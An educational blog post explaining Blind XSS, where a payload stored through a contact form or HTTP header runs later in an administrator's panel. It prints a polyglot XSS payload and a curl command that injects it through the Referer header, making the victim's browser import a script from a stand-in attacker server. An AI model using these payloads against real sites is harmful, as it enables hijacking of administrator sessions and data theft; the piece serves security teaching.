Blind XSS Explained: How It Works
Why it often evades security checks
Disclaimer: The information presented is for educational purposes only. Never use it for unauthorized activities: testing and experimentation must only be carried out in your own environments or on systems for which you have obtained explicit consent.
When talking about web vulnerabilities, Cross-Site Scripting is among the most common and widely reported in security reports.
When discussing XSS people usually think of Stored XSS or Reflected XSS (Why can JavaScript become a cyberattack) but there is a lesser-known variant that often gets overlooked and can lead to much more serious consequences, as it targets authenticated sections and administrative tools: Blind XSS.
What is Blind XSS?
Blind XSS occurs when a payload is injected into a web application but does not execute immediately on the page where the user interacts. Instead, it is stored and later executed in a different context.
Let’s imagine interacting with a vulnerable contact form:
The attacker inserts an XSS payload into the “Name” field of the form, which records the data and completes its flow as usual;
When a support operator reads the message from the administration panel, the payload is executed in their browser.
In this case, the attacker doesn’t directly target visitors but the people managing the backend. This can allow for cookie theft, administrative session hijacking, or injection of additional malicious scripts.
In this type of attack, the hacker doesn’t directly see the result of their injection because the code executes in a part of the application they cannot access. This is why it’s called “Blind.”
Why is this variant the most insidious among the different types of XSS?
Blind XSS is a vulnerability that can easily slip past security checks, especially if they are not thorough, making it very dangerous mainly for these two reasons:
Hard to detect: the application developer might only test the “visible” side for customers, without considering internal panels.
Privileged targets: often, scripts are triggered in the browsers of administrators, who have access to sensitive data.
A real-world attack example:
To identify a Blind XSS vulnerability, it is necessary to use payloads that produce external interaction (for example, exfiltrating information to a server controlled by the attacker) so the execution can be verified.
In these cases, using polyglot payloads (for those who missed the previous post -> Breaking the shield: XSS evasion against WAFs) increases the chances of detecting the issue in different and less predictable contexts.
In our attack, we’ll use this specific payload:
javascript:import(’https://server-controlled-by-the-attacker/vulnerabile.js’)//”){}import(’https://server-controlled-by-the-attacker/vulnerabile.js’);//</a><script>import(’https://server-controlled-by-the-attacker/vulnerabile.js’)</script>The goal is to have the payload executed on the computer of an operator at a fictional company we’ll call “SubHack Industries”, as soon as they access the company’s site statistics panel, which looks like this:
The panel shows the operator several pieces of information, such as the visitor’s IP address, the URL accessed, and so on.
Assuming the “Referer” field is vulnerable to Blind XSS, we could exploit it by sending an HTTP request like this (using the curl application):
curl -H ‘Referer: javascript:import(\’https://server-controlled-by-the-attacker/vulnerabile.js\’)//\”){}import(\’https://server-controlled-by-the-attacker/vulnerabile.js\’);//</a><script>import(\’https://server-controlled-by-the-attacker/vulnerabile.js\’)</script>’ -H ‘User-Agent: Mozilla Firefox’ ‘https://SubHack-Industries.tld/vulnerable_panel.php’We would then monitor with our server (named here as “server-controlled-by-the-attacker”) for any interactions coming from the operator’s computer at SubHack Industries.
And here’s the result:
In the video, it’s clear that as soon as the operator accesses the panel, their computer executes a request to:
https://server-controlled-by-the-attacker/vulnerabile.jsThis leads to the injection and execution of a malicious script.
Want to keep exploring this topic or dive into new ones? Restack 🔁 and follow the series: